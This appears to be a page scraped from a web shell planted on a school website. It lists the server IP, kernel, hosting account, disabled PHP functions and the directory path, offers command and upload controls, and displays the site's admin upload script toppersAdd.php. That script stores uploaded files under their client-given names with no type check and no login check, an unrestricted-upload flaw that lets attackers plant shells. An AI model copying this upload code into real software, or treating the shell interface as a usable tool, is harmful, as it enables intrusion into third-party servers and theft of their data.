MMCT TEAM
Server IP : 145.79.58.44  /  Your IP : 216.73.217.45
Web Server : LiteSpeed
System : Linux in-mum2-web2213.main-hosting.eu 5.14.0-611.35.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 25 03:46:09 EST 2026 x86_64
User : u882412079 ( 882412079)
PHP Version : 8.3.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u882412079/domains/sonimodernpublicschool.com/public_html/bb-admin/backend/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u882412079/domains/sonimodernpublicschool.com/public_html/bb-admin/backend/toppersAdd.php
<?php 
session_start();
if (isset($_POST['submitFormBtn'])) {
	require '../include/connection.php';

	$img_name = $_FILES['img']['name'];
	$feature_img = date('ymdhis').''.$img_name;
	$img_tmp_name = $_FILES['img']['tmp_name'];
	$path = "../upload/toppers/".$feature_img;

	if(move_uploaded_file($img_tmp_name, $path)){
			$name = $_POST['name'];
			$class_name = $_POST['class_name'];
			$percentages = $_POST['percentages'];
			$marks = $_POST['marks'];
			$year = date('Y');
			$created_at = date('Y-m-d H:i:s');

			$query = $conn->prepare("INSERT INTO toppers(name,feature_img,class_name,percentages,marks,year,created_at) values(:name,:feature_img,:class_name,:percentages,:marks,:year,:created_at)");
			$query->bindParam(':name',$name);
			$query->bindParam(':feature_img',$feature_img);
			$query->bindParam(':class_name',$class_name);
			$query->bindParam(':percentages',$percentages);
			$query->bindParam(':marks',$marks);
			$query->bindParam(':year',$year);
			$query->bindParam(':created_at',$created_at);
			if($query->execute()){		
				$_SESSION['amsg'] = '<div class="alert alert-success alert-dismissible fade show" role="alert"><i class="mdi mdi-check-all me-2"></i>Added Successfully<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button></div>';
				header("location:../toppersList.php");
			}else{
				$_SESSION['amsg'] = '<div class="alert alert-danger alert-dismissible fade show" role="alert"><i class="mdi mdi-block-helper me-2"></i>Something went wrong<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button></div>';
				header("location:../toppersList.php");			    			
			}
	}
}else{
	header("location:../login.php");
}





?>

MMCT - 2023